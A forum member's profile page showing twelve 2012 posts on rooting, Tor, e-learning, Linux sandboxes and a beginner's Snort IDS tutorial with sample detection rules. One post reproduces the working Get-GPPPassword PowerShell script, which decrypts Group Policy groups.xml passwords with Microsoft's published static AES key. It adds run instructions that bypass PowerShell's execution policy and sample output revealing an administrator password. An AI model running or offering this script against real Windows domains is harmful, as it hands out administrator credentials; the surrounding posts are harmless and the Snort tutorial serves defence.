Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.


Messages - desudesu~

Pages: [1]
1
its not being a skiddie apreciating some one's code and sharing to those who don't knnow it. one thing i've learnt in my coding months is that other people's code actually helps in building one's own view via coding. duuuh.

Your friend should probably have referenced the parts of the code he used from this other person. Of course other people's code helps in building one's own - and it is the wonderful part of programming - but original authors deserve references.

2
Android / Re: Android rooting questions?
« on: December 19, 2012, 01:59:23 pm »
I have a couple of questions about Android rooting, first one. After rooting your device,is it possible to go back to the normal user privileges(Un-rooting your device)?.

Yep.

Second one, Would rooting your device decrease the value of it, just in case you want to sell it?

imo yes, however... nobody needs to know about it.

3
Anonymity and Privacy / Re: Anonymous Web Project
« on: December 18, 2012, 06:11:11 pm »
We're talking about an application here...

If you just use Tor to do whatever crap you want to do, without protecting yourself more than that, of course it's not very smart...

-

In any case, Tor or not, you'll never be 100% safe...

4
Tutorials / IDS - Snort
« on: December 16, 2012, 10:10:38 pm »



So yeah, this is a quick and dirty tutorial on IDS (more particularly Snort). Take it as a real fast introduction; if you spend time reading this, you should spend more time studying that kind of stuff deeper somewhere else (I will try to share some  resources).



I) First off

What's an IDS?
> Short for "Intrusion Detection System"

What does an IDS basically do?
> It analyses packets, find suspect ones and alert the network administrator for potential intrusions. Though, it is NOT a firewall.

Example please?
> Sure thing. Well, with an IDS on your network, you can either detect scans (port scans/sweep, OS fingerprinting), Denial of Service attacks, bots and any kind of activities against the policies of your work place. I'll provide some examples of alerts later.



II) Snort

"Snort performs real time traffic analysis and packet logging on IP networks" - https://www.snort.org/

Snort is a Network-based Intrusion Detection System (detect intrusions attempts on a network, by comparing the traffic to a database of known attack patterns). Basically, it is used to monitor the network for possible intrusions, manage logs and sniff the network.
You give Snort a list of predefined rules (some lines that you write to log the packets you want to log), and it will alert you each time a packet that meets these rules is coming.

I greatly recommend running Snort on a Linux distribution for various reasons, but the most important one being that Linux updates for Snort are released far before the Windows ones - therefore it's mostly for security reasons - plus both are free...

I personally will use Debian for the demonstrations of this tutorial. You can get your version on the official website: http://www.debian.org/

I won't go through each step of installing the software on your machine, the Snort website has excellent documentations about that, e.g. for Debian users, look for "Snort 2.9.3.1 on Debian 6.0.5" by Jason Weir.

-

It is important that once installed, you make sure that Snort is up and running properly; For this, you can create a simple rule that will detect incoming PINGs; If you have correctly followed an installation documentation such as the one I've provided just above, you should edit your 'local.rules' file and add this line:

Code: [Select]
alert icmp any any -> $HOME_NET any (msg:"ICMP testing"; sid:10000001;)
And then start Snort from your terminal:

Code: [Select]
/usr/local/bin/snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0
If you use Linux in a VM, simply ping it with your host and you should see the alerts appearing in your terminal where Snort is running.
If nothing appears, it's most likely that you made a wrong installation, didn't edit the 'snort.conf' file properly or that you are missing the IDS pre-requisites, which are: libpcap, libdet and daq.

Let's analyze this rule now, what does it mean?
'alert icmp': 'alert' is there at the beginning of each rule, this is mandatory so you really just have to put it there. 'icmp' is the type of the packet you want to alert. PING packets use the ICMP protocol (this is the kind of thing you have to learn, I can't go through that...).

> 'any any ->': the first 'any' represents the IP address FROM WHERE the packet is coming - you could set it to $EXTERNAL_NET by the way, which are all IP addresses outside of the $HOME_NET (you set this in the 'snort.conf' file). The second 'any' is the port - here you don't really need to set any port, it's simply for testing purposes.

> 'any any': the second part is actually not so much different - the only real difference being that these two 'any' refer to WHERE the packet GOES TO.

> '(msg:"ICMP testing"; sid:10000001;)': the 'msg' is the message you want to display each time the alert is logged. Concerning the 'sid', it defines the ID of the alert's rule - It is extremely important that each rule has a different SID, otherwise it will simply give you an error.

To resume things, this is the format of a rule:
> alert icmp(or tcp or udp...) source_address source_port -> destination_address destination_port (msg:"test"; sid:10000002;)

For more options to add, see http://manual.snort.org/node291.html

-

Now, something important to know: YOU CANNOT have one rule to detect, for example, ALL NETWORK SCANS on your network. Take NMAP as an example - If you decide to launch a simple TCP Syn scan against a remote address, you will do:

Code: [Select]
nmap -v -sS address
To write a rule in order to detect that particular scan, you will have to analyze the packet that NMAP uses. Luckily, NMAP is a widely used software, so finding information on how it works ain't really difficult. Small researches will show that this TCP scan uses a particular TCP flag: S, along with an acknowledgement number of 0. You can then add this to some rule: "flags: S; ack: 0;"

However NMAP is a tool that can have very personalized scans, and the user can easily modify things such as the flags... This show the importance to keep up-to-dates rules, especially if you are using Snort or any other IDS in your organization.

Another simple but interesting rule would be one that could detect simple UDP flooding (such as the one used by e.g. LOIC during a DoS attack):

Code: [Select]
alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"LOIC UDP flooding"; threshold: type threshold, track by_src, count 100, seconds 5; sid: 10000002; rev: 1;)
This rule will trigger every 100th event on this SID in a 5 seconds internal - This can be enough to detect a LOIC UDP flood at minimum speed. You can check out this website for more info: some LOIC rules.

-

I'm not quite sure what to tell you guys more, but if you are willing to learn deeper about Snort and IDS in general, there are tons of resources out there, beginning with the Snort official website.
You could practice by setting up Snort on a VM, and create rules to detect network scans/OS fingerprinting (using nmap or any other tool), detect DoS attacks (you can use LOIC, Slowloris, etc...).
You can also try to detect bot activities - for that one I recommend running the bot and at the same time run Snort into sniffer mode (with the -dev flag) - and you could also try to detect any kind of let's say Dropbox activity, or any website access through any web browser.

Snort, in my opinion, is good for your work place, but also at home - you can just monitor anything you wish - but as you guys all know, nothing is 100% secure, this is not an exception: if somebody wants to go through your IDS, he will, especially that you cannot have all the rules in the world for all types of activities.

PLEASE tell me if I can add more things to this tutorial, I can edit it when I have time. Also don't hesitate if you have some questions, I will do what I can to answer to it, and maybe add a FAQ...

Thanks for reading if you did, this is taken from a coursework I recently wrote. I hope I haven't missed any references, also the formatting isn't great but I hope it's pleasant enough... and let me know if you spot some errors... I tried to write it fast.

Cheers~

5
Anonymity and Privacy / Re: Anonymous Web Project
« on: December 16, 2012, 06:46:20 pm »
I'd rather use Tor. This does not look very popular yet for the least.

6
Found it on the Webs / Re: [Free] E-Learning Platforms
« on: December 15, 2012, 12:30:06 pm »
edX.org is pretty good.

You can still go and catch-up the CS50x course. It's a simple intro to Computer Science, but still good to have... They have only one due date for all the assigned works (15th April I believe); all the other interesting courses have already passed their due dates.

7
Hacking and Security / Re: Group Preferences decryption
« on: December 14, 2012, 05:10:35 pm »
You don't need to edit the script at all. I've just tried it and it worked as is;

Copy it to some .ps1 file:

Code: [Select]
<#
function Get-GPPPassword {

<#
.Synopsis

Get-GPPPassword retrieves the plaintext password for accounts pushed through Group Policy in groups.xml.
Author: Chris Campbell (@obscuresec)
License: GNU GPL v2
.Description

Get-GPPPassword imports the encoded and encrypted password string from groups.xml and then decodes and decrypts the plaintext password.

.Parameter Path

The path to the targeted groups.xml file.

.Example

Get-GPPPassword -path c:\demo\groups.xml

.Link

http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
#>

Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $Path = "$PWD\groups.xml" )

    #Function to pull encrypted password string from groups.xml
    function Parse-cPassword {
   
        try {
            [xml] $Xml = Get-Content ($Path)
            [String] $Cpassword = $Xml.Groups.User.Properties.cpassword
        } catch { Write-Error "No Password Policy Found in File!" }
         
        return $Cpassword
    }
   
    #Function to look to see if the administrator account is given a newname
    function Parse-NewName {
   
        [xml] $Xml = Get-Content ($Path)
        [String] $NewName = $Xml.Groups.User.Properties.newName
       
        return $NewName
    }
   
    #Function to parse out the Username whose password is being specified
    function Parse-UserName {
   
        try {
            [xml] $Xml = Get-Content ($Path)
            [string] $UserName = $Xml.Groups.User.Properties.userName
        } catch { Write-Error "No Username Specified in File!" }
       
        return $UserName
    }
   
    #Function that decodes and decrypts password
    function Decrypt-Password {
   
        try {
            #Append appropriate padding based on string length
            $Pad = "=" * (4 - ($Cpassword.length % 4))
            $Base64Decoded = [Convert]::FromBase64String($Cpassword + $Pad)
            #Create a new AES .NET Crypto Object
            $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
            #Static Key from http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
            [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
                                 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
            #Set IV to all nulls (thanks Matt) to prevent dynamic generation of IV value
            $AesIV = New-Object Byte[]($AesObject.IV.Length)
            $AesObject.IV = $AesIV
            $AesObject.Key = $AesKey
            $DecryptorObject = $AesObject.CreateDecryptor()
            [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
           
            return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
        } catch { Write-Error "Decryption Failed!" }
     
    }

    $Cpassword = Parse-cPassword
    $Password = Decrypt-Password
    $NewName = Parse-NewName
    $UserName = Parse-UserName
   
    $Results = New-Object System.Object
   
    Add-Member -InputObject $Results -type NoteProperty -name UserName -value $UserName
    Add-Member -InputObject $Results -type NoteProperty -name NewName -value $NewName
    Add-Member -InputObject $Results -type NoteProperty -name Password -value $Password

    return $Results

Launch your PS (on that machine I have to change the execution policy to Unrestricted)

From your cmd:

PowerShell -ExecutionPolicy Unrestricted

Then:

PS > .\yourfile.ps1 Groups.xml

It should return you:

UserName                                 NewName                                    Password
------------                                  ------------                                      ------------
Administrator (built-in)                                                                 L0c@LAdm!n

8
Hacking and Security / Re: Group Preferences decryption
« on: December 14, 2012, 04:06:10 pm »
HI desudesu~


Thanks for the reply.


You dont have to give it to me, it would just be nice to see what I am doing wrong, so that I can learn where my mistake is.  8)


What would you like to know about me?

Just go in the "Presentations" part of the forum and introduce yourself ;)
I just don't think it is considered very good to have someone come in, ask for help, then disappear.

I don't know where your mistake is, because I don't know what you have done so far. But I simply ran a PS script and used the Groups.xml file.
Do you have any errors when running the Obscuresec script?

9
Hacking and Security / Re: Group Preferences decryption
« on: December 14, 2012, 03:07:19 pm »
Hai,

I could give it to you, but what about presenting yourself before asking for help?

10
General discussion / Re: Computer Literacy
« on: December 14, 2012, 02:49:31 am »
Similarly I'm not sure if I should feel proud if I pass or just feel normal.

When you think about it, tons of people have a really hard time using such things (even the simplest).
What can feel very easy to you can be a nightmare for others. That feeling is really comprehensible...

11
Operating System / Re: Windows 95
« on: December 14, 2012, 02:44:47 am »
I'm not so old but I can't stop it - I feel like it was yesterday I was using my parents' laptop with that os on it... nostalgia.

12
Found it on the Webs / LinuxZoo - free remote private machines
« on: December 13, 2012, 08:58:11 pm »
Hai,

If you feel like getting started with Linux, you can use this:

http://linuxzoo.net

It's pretty cool and useful.

OS available:

- Fedora 15
- Caine Forensics
- Win 2008/7

You can access it using something like putty or the available Java gui...
If you're into forensic Analysis, the Caine CLI & Autopsy are nice and well known.

I'm not quite sure how restricted are the guest accounts, but it's worth a try.

gl

Pages: [1]